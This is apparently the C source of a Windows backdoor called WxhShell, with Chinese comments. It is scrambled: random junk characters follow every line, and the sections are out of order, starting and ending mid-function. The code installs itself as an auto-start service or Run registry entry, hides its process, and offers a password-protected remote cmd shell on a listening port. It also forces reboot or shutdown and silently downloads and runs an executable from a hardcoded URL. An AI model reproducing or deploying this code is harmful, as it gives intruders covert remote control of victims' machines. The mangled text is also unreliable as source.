    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xV4 #_1(  
    if(Boot(SHUTDOWN)) 0Y9\,y_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); auTApYS53  
    else { n_51-^* z  
    closesocket(wsh); Hb;#aXHSd  
    ExitThread(0); {\L /?#  
    } K Zw"?%H[  
    break; _$?SKid|o  
    } bi bjFg   
  // 获取shell O&?i8XsB  
  case 's': { iii2nmiK  
    CmdShell(wsh); afcI5w;>}  
    closesocket(wsh); )FkJ=P0  
    ExitThread(0); )q\|f_  
    break; Nj_h+=UE!  
  }  IR,`-  
  // 退出 N4Z%8:"pj  
  case 'x': { h`OX()N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "Fu*F/KW  
    CloseIt(wsh); 7W6tz\Y  
    break; ;aip1Df  
    } u+GtH;<;  
  // 离开 CCOd4  
  case 'q': { 3EN?{T<yf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wPYz&&W  
    closesocket(wsh); G_{x)@  
    WSACleanup(); c@%:aiEl  
    exit(1); _ a|zvH  
    break; T<"Hh.h  
        } Cyg\FHs  
  } ika/ GG  
  } v_PhJKE  
Lf|5miO  
  // 提示信息 E-_FxBw  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s88lN=;  
} =l TV2C<  
  } )pV5l|`  
sXdNlR&  
  return; ;#G)([  
} }u0t i"V  
y{ReQn3> y  
// shell模块句柄 ,lLkAd?q  
int CmdShell(SOCKET sock) <taN3  
{ tY^MP5*  
STARTUPINFO si; A\9Q gM  
ZeroMemory(&si,sizeof(si)); RfVVAaI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vq|o}6Et  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^fT|Wm<  
PROCESS_INFORMATION ProcessInfo; AOhfQ:E 4  
char cmdline[]="cmd"; &R:$h*Wt|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g z-X4A"  
  return 0; Q%6 1_l  
} ZtPq */'  
:|3n`,  
// 自身启动模式 c=iv\hn  
int StartFromService(void) bLyU;  
{ qi7(RL_N  
typedef struct ^W|B Xxo  
{ s*<\ mwB  
  DWORD ExitStatus; 5(0f"zY  
  DWORD PebBaseAddress; AV\6K;~  
  DWORD AffinityMask; v|:2U8YREf  
  DWORD BasePriority; zi7,?bD  
  ULONG UniqueProcessId; ##~";j  
  ULONG InheritedFromUniqueProcessId; EY=`/~|c  
}   PROCESS_BASIC_INFORMATION; B2\R#&X.  
+.gM"JV  
PROCNTQSIP NtQueryInformationProcess; C'mYR3?m;  
 II;fBcXF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7p'L(dq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LWQ.!;HYp  
UX3 ]cr  
  HANDLE             hProcess; UruD&=AMK  
  PROCESS_BASIC_INFORMATION pbi; 69#D,ME?  
Y0`@$d&n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #w\Bc\  
  if(NULL == hInst ) return 0; <T?H H$es)  
>*#clf;@p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ig9yd S-.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3n{'}SYyz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EugQr<sM#  
XRi/O)98o  
  if (!NtQueryInformationProcess) return 0; ts BPQ 8Ne  
^fVLM>p<;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l AF/O5b  
  if(!hProcess) return 0; 1<Fh aK  
. C_\xb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,})x1y  
Q"UWh~  
  CloseHandle(hProcess); ,VK! 3$;|  
+3B^e%`NPm  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'Oyx X  
if(hProcess==NULL) return 0; WR'm<u  
A#&Q(g\YE  
HMODULE hMod; hZ_0lX}  
char procName[255]; |)'gQvDM  
unsigned long cbNeeded; .{6?%lt  
VT.BHZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4Y>v+N^  
1QHCX*_  
  CloseHandle(hProcess); ;DWtCtD  
ISo{>@a-  
if(strstr(procName,"services")) return 1; // 以服务启动 OE,uw2uaT  
YDEUiZ~  
  return 0; // 注册表启动 v/%q*6@  
} Qg]8~^ Q<  
x!rHkuH~  
// 主模块 2?; =TJo$  
int StartWxhshell(LPSTR lpCmdLine) cZ$!_30N+  
{ T*"15ppfk  
  SOCKET wsl; 4fe$0mye  
BOOL val=TRUE; cp|&&q  
  int port=0; v@OyB7}  
  struct sockaddr_in door; 8 jom)a  
,,+ ~./)  
  if(wscfg.ws_autoins) Install(); XxT7YCi  
]s lYr8m  
port=atoi(lpCmdLine); ~'/I[y4t  
# L\t)W  
if(port<=0) port=wscfg.ws_port; rV LUT  
.f'iod-   
  WSADATA data; S30@|@fTz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H*U\P2C!)  
!X 3/2KRP7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y~=]RCg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s }P-4Sg  
  door.sin_family = AF_INET; A=X2zm>9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {V& 2k9*  
  door.sin_port = htons(port); ,Mwyk1:xix  
M,Y lhL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3HsjF5?W  
closesocket(wsl); ,6[}qw) *  
return 1; Ck,.4@\tK  
} kqYvd]ss  
,WF)GS|7V  
  if(listen(wsl,2) == INVALID_SOCKET) { _#c^z;!  
closesocket(wsl); 4uip!@$K  
return 1; &JoMrcEZ  
} F\. n42Tz  
  Wxhshell(wsl); nU"V@_?\  
  WSACleanup(); *qcL(] Yq  
4_,l[BhsQG  
return 0; /Cd`h ;#@  
],r?]>  
} "i$uV3d  
}vOUf# ^k  
// 以NT服务方式启动 _q([k_4h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ) Qve[O  
{ md[FtcY\  
DWORD   status = 0; CL(,Q8yG  
  DWORD   specificError = 0xfffffff; eK"B.q7  
Qi^MfHW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Vy = fm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; SM:SxhrGt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [woR9azC  
  serviceStatus.dwWin32ExitCode     = 0; 0y4z`rzTn  
  serviceStatus.dwServiceSpecificExitCode = 0; }z&P^p)R  
  serviceStatus.dwCheckPoint       = 0; Y[8w0ve- g  
  serviceStatus.dwWaitHint       = 0; J.x>*3< l  
D5X;hd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5*1wQlL  
  if (hServiceStatusHandle==0) return; 1r}fnT<  
=+gp~RR,  
status = GetLastError(); NF=FbvNe  
  if (status!=NO_ERROR) /p') u3  
{ @]f"X>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; . FT*K[+ih  
    serviceStatus.dwCheckPoint       = 0; n<:/ X tE  
    serviceStatus.dwWaitHint       = 0; #)%N+Odnr  
    serviceStatus.dwWin32ExitCode     = status; zOq~?>Ms6  
    serviceStatus.dwServiceSpecificExitCode = specificError; )@Yp;=l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f}bUuQrH-!  
    return; ]>@; 2%YvY  
  }  l;>#O  
V"VWHAu*.w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3OHP-oa.  
  serviceStatus.dwCheckPoint       = 0; 9frx60  
  serviceStatus.dwWaitHint       = 0; r @~T}<I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aDa}@-F&a  
} xM%E;  
[Dq7mqr$  
// 处理NT服务事件,比如:启动、停止 U'LO;s04m  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  >p!d(J?  
{ (H9%a-3  
switch(fdwControl) ( DwIAO/S  
{ ^ j@Q2>&?  
case SERVICE_CONTROL_STOP: Pi6C1uY6  
  serviceStatus.dwWin32ExitCode = 0; #;juZ*I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =!xeki]|9  
  serviceStatus.dwCheckPoint   = 0; _u}v(!PI  
  serviceStatus.dwWaitHint     = 0; L{2\NJ"+u  
  { t Zj6=#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #ITx[X89|  
  } !U]V?Jpi"  
  return; $XFG1?L!  
case SERVICE_CONTROL_PAUSE: G;Y,C<)0k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SPsq][5eR  
  break; l3}n.ODA  
case SERVICE_CONTROL_CONTINUE: \{da|n -  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P<kTjG  
  break; ZP?k|sEH  
case SERVICE_CONTROL_INTERROGATE: c}mJ6Pt  
  break; :LVM'c62c>  
}; &+`l $h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U6X~]|o  
} xpyb&A  
*NV`6?o@6  
// 标准应用程序主函数 K_`*ZV{r  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w;QDQ fx0  
{ $E|W|4N  
#`GW7(M  
// 获取操作系统版本 G"MpA[a_  
OsIsNt=GetOsVer(); zx(j6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Kggf!\MR8  
1:7>Em<s  
  // 从命令行安装 D4'? V Iz  
  if(strpbrk(lpCmdLine,"iI")) Install(); Bx&` $lW  
0 P/A  
  // 下载执行文件 O( he  
if(wscfg.ws_downexe) { ~B(]0:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d5A!kU _.  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z;S*fS-_  
} Z/wh?K3y  
Dr`\  
if(!OsIsNt) { &t%CuU]/@  
// 如果时win9x,隐藏进程并且设置为注册表启动 B<1*p,z  
HideProc(); `1EBnL_1  
StartWxhshell(lpCmdLine); 1`O`!plD+  
} 46_<v=YSJ  
else c7s4 g-  
  if(StartFromService()) LEhku4U.  
  // 以服务方式启动 PR|Trnd&D  
  StartServiceCtrlDispatcher(DispatchTable); Z55,S=i  
else 77i |a]Kd  
  // 普通方式启动 no?)GQ  
  StartWxhshell(lpCmdLine); p w>A Q  
zp4ru\  
return 0; ?%Y?z ]L#  
} 10#!{].#x  
Y1k/ngH  
";s5It  
sQJM 4'8f  
=========================================== qsvUJU  
3jS=  
<Dm6CH  
7v,>sX  
F5 LQgK-z  
5.?O PK6  
" Y ga}8DU  
tEN]0`  
#include <stdio.h> mApn(&  
#include <string.h> x(]s#D!)  
#include <windows.h> ~;eWQwD  
#include <winsock2.h> iLmU|jdE  
#include <winsvc.h> =AD/5E,3  
#include <urlmon.h> izFu&syv)  
h*MR5qa  
#pragma comment (lib, "Ws2_32.lib") hsqUiB tc6  
#pragma comment (lib, "urlmon.lib") -m|b2g}"3  
~|uCZ.;o  
#define MAX_USER   100 // 最大客户端连接数 m/eGnv;!  
#define BUF_SOCK   200 // sock buffer On'3K+(_  
#define KEY_BUFF   255 // 输入 buffer s=%HTfw  
p,tB  
#define REBOOT     0   // 重启 xZ@Y`2A':  
#define SHUTDOWN   1   // 关机 22BJOh   
^7"%eWT`  
#define DEF_PORT   5000 // 监听端口 raqLXO!j  
3$Is==>7  
#define REG_LEN     16   // 注册表键长度 E<\\'VF  
#define SVC_LEN     80   // NT服务名长度 *<Ddn&_  
Q|ik\  
// 从dll定义API V)@MM2,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gE ,j\M*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h5f>'l z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a^=4 '.ok  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l4/TJ%`MG  
`|/|ej]$P  
// wxhshell配置信息 ESomw  
struct WSCFG { BPG)m,/b  
  int ws_port;         // 监听端口 b8]oI"&G  
  char ws_passstr[REG_LEN]; // 口令 c%Gz{':+  
  int ws_autoins;       // 安装标记, 1=yes 0=no zr[~wM  
  char ws_regname[REG_LEN]; // 注册表键名 19N:9;Ixz  
  char ws_svcname[REG_LEN]; // 服务名 xJ"Zg]d{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /ruf1?\,R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6~!YEuA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4X\*kF%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  ]Ea7b  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KPR{5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *z+\yfOO"  
D{loX6  
}; f%|S>(   
}oN(nPxv9  
// default Wxhshell configuration T^nX+;:|  
struct WSCFG wscfg={DEF_PORT, I2W2B3D` c  
    "xuhuanlingzhe", Vks,3$  
    1, N Dg]s2T  
    "Wxhshell", J<BdIKCma  
    "Wxhshell", [e}]K:  
            "WxhShell Service", ky~x4_y5  
    "Wrsky Windows CmdShell Service", &(rd{j/*  
    "Please Input Your Password: ", }w-`J5Eq#  
  1, >bZ#  
  "http://www.wrsky.com/wxhshell.exe", qXhrK /  
  "Wxhshell.exe" OK)0no=OAK  
    }; X,fTzkGj  
p|FX_4RjX  
// 消息定义模块 O#EBR<CuK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0iL8i#y*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; FRg6-G/S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )F$Stg3e  
char *msg_ws_ext="\n\rExit."; 41zeN++  
char *msg_ws_end="\n\rQuit."; ZbrE m  
char *msg_ws_boot="\n\rReboot..."; j |i6/Pk9J  
char *msg_ws_poff="\n\rShutdown..."; xsTxc&0^  
char *msg_ws_down="\n\rSave to "; As\5Ze9|  
%nCUct@c  
char *msg_ws_err="\n\rErr!"; ;VuB8cnL`  
char *msg_ws_ok="\n\rOK!"; _@p|A  
' " tieew  
char ExeFile[MAX_PATH]; d+;wDu   
int nUser = 0; {+[gf:Ev  
HANDLE handles[MAX_USER];  qN QsU  
int OsIsNt; [T%blaSX  
@TprS d  
SERVICE_STATUS       serviceStatus; =B:poh[u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wMUnZHd{|  
C\; 8l}t  
// 函数声明 ^0&] .m  
int Install(void); C49 G&  
int Uninstall(void); sXa8(xc  
int DownloadFile(char *sURL, SOCKET wsh); 64vSJx>u  
int Boot(int flag); yT n@p(J  
void HideProc(void); L[bGO|O  
int GetOsVer(void); bpx=&74,6m  
int Wxhshell(SOCKET wsl); bT8UmR98  
void TalkWithClient(void *cs); =_H39)|T  
int CmdShell(SOCKET sock); ul%bo%&~  
int StartFromService(void); l xfdJNb  
int StartWxhshell(LPSTR lpCmdLine); #TWc` 8  
nGbrWu]w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sy?>e*-{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !kcg#+s91  
.'a|St  
// 数据结构和表定义 mr1}e VM~!  
SERVICE_TABLE_ENTRY DispatchTable[] = y|dXxd9  
{ mqHt%RX  
{wscfg.ws_svcname, NTServiceMain}, xS}H483h6W  
{NULL, NULL} nKO&ffb'<  
}; } 8P}L@q  
#TgJ d  
// 自我安装 [5VUcXGt*\  
int Install(void) 1IV 0a  
{ f UIs(}US  
  char svExeFile[MAX_PATH]; KR}0(,Y  
  HKEY key; 'O`3FI  
  strcpy(svExeFile,ExeFile); 7&3URglsL"  
nX~MoWH1  
// 如果是win9x系统,修改注册表设为自启动 -!0LIr:"  
if(!OsIsNt) { E5(Y*m!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \zi3.;9|;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^ ?=K)  
  RegCloseKey(key); nsT|,O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #$w#"Nr9k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?lK!OyCkc  
  RegCloseKey(key); _}&]`,s>  
  return 0; is(!_Iv  
    } \uk#pL  
  } 9^^#I ~-  
} W~%~^2g ;k  
else { 5u46Vl{  
qX(%Wn;n  
// 如果是NT以上系统,安装为系统服务 o x^lI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); aAri  
if (schSCManager!=0) "Y!dn|3  
{ 4l''/$P  
  SC_HANDLE schService = CreateService  YBD{l  
  ( AD\<}/3U  
  schSCManager, L:M9|/  
  wscfg.ws_svcname, .A\\v6@  
  wscfg.ws_svcdisp, xp&!Cl>C3\  
  SERVICE_ALL_ACCESS, S=}~I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9oP{Al  
  SERVICE_AUTO_START, *d@Hnu"q  
  SERVICE_ERROR_NORMAL, /[? F1Q  
  svExeFile, ~vGtNMQg  
  NULL, `z_7[$\~  
  NULL, &HK s >  
  NULL, !C#RW=h9  
  NULL, C._sgO  
  NULL ak) -OL1  
  ); X~he36-+<  
  if (schService!=0) XO#)i6}G  
  { 9|?Lz  
  CloseServiceHandle(schService); 0Qp'}_  
  CloseServiceHandle(schSCManager); ,)$KS*f"*z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N1~V +_mM  
  strcat(svExeFile,wscfg.ws_svcname);  |{)xC=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (nD$%/uK'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Wi?%)hur  
  RegCloseKey(key); DME?kh>7  
  return 0; <83gn :$  
    } qb4;l\SfT  
  } c@-K  
  CloseServiceHandle(schSCManager); Zd U{`>v  
} 1Wk EPj,  
} \83A|+k  
^|GtO.  
return 1; n2 mw@Ay!  
} ox_h9=$-  
r.b6E%D  
// 自我卸载 7J;~ &x  
int Uninstall(void) hIQ[:f  
{ n u8j_grW  
  HKEY key; q#&#*6 )B  
`b")Bx|  
if(!OsIsNt) { b8Rh|"J)d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { : W^\ mH  
  RegDeleteValue(key,wscfg.ws_regname); J7ekIQgR  
  RegCloseKey(key); 5^K#Tj ;2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fq'Xy9L  
  RegDeleteValue(key,wscfg.ws_regname); g]<Z]R`  
  RegCloseKey(key);  6b]d|  
  return 0; h ^h-pd  
  } GR ?u?-  
} OawrS{  
} 8I\eromG  
else { 'e>sHL  
P%`R7yk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p/1}>F|i  
if (schSCManager!=0) Zng` oFD  
{ C^ " Hj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G 0QXf  
  if (schService!=0) GoSWH2N  
  { '}+X,Usm  
  if(DeleteService(schService)!=0) { 3{4/7D cX  
  CloseServiceHandle(schService); c =N]! ,MO  
  CloseServiceHandle(schSCManager); X;6r $   
  return 0; `Kc %S^C'  
  } sIRrEea  
  CloseServiceHandle(schService); UW/3{2  
  } aY[0A_  
  CloseServiceHandle(schSCManager); =3sldKL&F  
} ^s@*ISY  
} j t`p<gI  
Hx2j=Q_dw  
return 1; 2b4pOM7W  
} OgXZ-<'  
sMfFm@\N  
// 从指定url下载文件 A-7wkZ.H  
int DownloadFile(char *sURL, SOCKET wsh) ^Em@6fz[  
{ v!#`W  
  HRESULT hr; Wt+y-ES  
char seps[]= "/"; L`\`NNQC  
char *token; 3KG)6)1*  
char *file; 3_oD[ ])A  
char myURL[MAX_PATH]; YoF\ MT]W  
char myFILE[MAX_PATH]; G{f`K^  
Ie2w0Cs28  
strcpy(myURL,sURL); ^EUOmVN  
  token=strtok(myURL,seps); 7z g)h  
  while(token!=NULL) }+dM1O  
  { ?b@q5Y  
    file=token; /+4^.Q*  
  token=strtok(NULL,seps); D0#T-B\#  
  }  UL)"  
P )t]bS  
GetCurrentDirectory(MAX_PATH,myFILE); 8L7Y A)u  
strcat(myFILE, "\\"); yul<n>X|  
strcat(myFILE, file); ycrh5*g  
  send(wsh,myFILE,strlen(myFILE),0); d(X\B{  
send(wsh,"...",3,0); =wIdC3Ph  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V`g\ja*Y  
  if(hr==S_OK) ez^*M:K  
return 0; [GR|$/(z=  
else uG=t?C6  
return 1; s<Ex"+  
'<?v:pb9  
} N"YK@)*Q  
;!l*7}5X=  
// 系统电源模块 DMAf^.,S  
int Boot(int flag) yN9$gfJC^  
{ #.E\,N'  
  HANDLE hToken; BaWQ<T8p8  
  TOKEN_PRIVILEGES tkp; XlPK3^'N)h  
_[}G(<  
  if(OsIsNt) { zj~nnfoys  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $z2 xZqe  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m4P hn~>Gg  
    tkp.PrivilegeCount = 1; u Q[vgNe*m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Vqa5RVnI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nd$H 3sf  
if(flag==REBOOT) { -TzI>Fz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,] ~u:Y}  
  return 0; OwG6i|q  
} G0I~&?nDa  
else { vF9*tK'   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ne &Xf  
  return 0; 2YL`3cgfb  
} y 2z{rd  
  } Rro?q  
  else { r+t ,J|V  
if(flag==REBOOT) { &u+yM D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =d go!k  
  return 0; u iBl#J Q  
} 6uu^A9x  
else { Z{Vxr*9oO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |RR"'o_E  
  return 0; lo cW_/  
} N7e`6d!  
} Wc~3^ ;U  
=LlLE<X"%x  
return 1; J?._/RL8-  
} `%$8cZ-kr  
&}vR(y*#c  
// win9x进程隐藏模块 ~'NX~<m  
void HideProc(void) Oq*n9V  
{ Iq)(UfaSve  
"/Y<G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YSqv86  
  if ( hKernel != NULL ) ;c1relR2  
  { ki\B!<uv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fx<FIj7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JDkCUN5  
    FreeLibrary(hKernel); t:\l&R&  
  } j3 6,w[Y:  
Vd,'  s  
return; ID)^vwn  
} I`22Zwq:  
/r276Q  
// 获取操作系统版本 F7\BF  
int GetOsVer(void) 8s<^]sFP  
{ haCKv   
  OSVERSIONINFO winfo; *dN N<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OFL|RLiD  
  GetVersionEx(&winfo); IrJ+Jov  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BU!#z(vU  
  return 1; P^"R4T  
  else C`)_i3 ^  
  return 0; (4~X}:  
} im8 -7Xt  
tmp6hB  
// 客户端句柄模块 [cDbaq,T  
int Wxhshell(SOCKET wsl) @@Q6TB  
{ _mXs4  
  SOCKET wsh; R\*)@[y9l  
  struct sockaddr_in client; O16r!6=-n  
  DWORD myID; ^00{Hd6  
7Re-5vz R  
  while(nUser<MAX_USER) E4r.ky`#~  
{ )Ob]T{GY  
  int nSize=sizeof(client); '99@=3AB:`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :s"2Da3B  
  if(wsh==INVALID_SOCKET) return 1; %%&e"&7HE  
}S */b1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I+|uU g5  
if(handles[nUser]==0) {(}yG_Q]!  
  closesocket(wsh); Q/py qe G  
else DVh)w}v  
  nUser++; hk_g2g  
  } p>q&&;fe  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C',6%6P  
F;P5D<  
  return 0; "]#'QuR  
} -w]/7cH  
IE;\7 r+h  
// 关闭 socket Ns<?b;aK  
void CloseIt(SOCKET wsh) &RW`W)0;  
{ !^iwQ55e2A  
closesocket(wsh); `*aBRwvK~  
nUser--; =u=Kw R  
ExitThread(0); O9^T3~x[V  
} zsVcXBz  
3+(z_!Qh  
// 客户端请求句柄 b+{r! D}~  
void TalkWithClient(void *cs) `\N]wlB2/b  
{ MDHb'<o?y  
!n<o)DsZR  
  SOCKET wsh=(SOCKET)cs; a9l8{ 3  
  char pwd[SVC_LEN]; m5*[t7@%  
  char cmd[KEY_BUFF]; NYB "jKMk  
char chr[1]; I9 &lO/c0  
int i,j; c -B/~&  
n@ [  
  while (nUser < MAX_USER) { pOA!#Aj)  
%dW%o{  
if(wscfg.ws_passstr) { G\=_e8(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aSL6zye ,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >zngJ$  
  //ZeroMemory(pwd,KEY_BUFF); UpfZi9v?W  
      i=0; m Ni2b*k  
  while(i<SVC_LEN) { 1~\M!SQ)  
Td hTQ  
  // 设置超时 @AQwr#R"l  
  fd_set FdRead; q3h'l,  
  struct timeval TimeOut; 66\jV6eH7L  
  FD_ZERO(&FdRead); cyQBqG  
  FD_SET(wsh,&FdRead); Lm6**v  
  TimeOut.tv_sec=8; %3o`j<  
  TimeOut.tv_usec=0; a]B[`^`z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V.=lGhi  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9Ah[rK*}  
pe.QiMW{8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QyGnDomQ  
  pwd=chr[0]; h|)vv4-d|  
  if(chr[0]==0xd || chr[0]==0xa) { 38IMxd9v  
  pwd=0; sKL:p3r  
  break; |+}G|hx@9  
  } 314=1JbL  
  i++; X2yTlLdY  
    } [L(h G a  
(sTuG}  
  // 如果是非法用户,关闭 socket 2+Rv{%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1^G{tlA-  
} PaWr[ye  
 L,LNv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xDLG=A%]z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >:1P/U  
!{%&=tIZ  
while(1) { ,wAz^cK|  
e0HfP v_  
  ZeroMemory(cmd,KEY_BUFF); 'LSz f/w  
j/!H$0PN  
      // 自动支持客户端 telnet标准   A1i!F?X  
  j=0; ]$b2a&r9  
  while(j<KEY_BUFF) { wvby?MhPY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L.'}e{ldW  
  cmd[j]=chr[0]; kcuzB+  
  if(chr[0]==0xa || chr[0]==0xd) { >I"V],d!6  
  cmd[j]=0; y1f:?L-z  
  break; |> enp>  
  } s1j{x&OSq  
  j++; [wnDHy6W  
    } gm"#:< )  
r'7LR  
  // 下载文件 (eWPis[  
  if(strstr(cmd,"http://")) { a;AzY'R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {KL5GowH  
  if(DownloadFile(cmd,wsh)) `'S0*kMT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X[yNFW}S2W  
  else h*i9m o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #]Y>KX2HG  
  } !ZXUPH  
  else { k@mVxnC  
eD?3"!c!  
    switch(cmd[0]) { 5\fCd|  
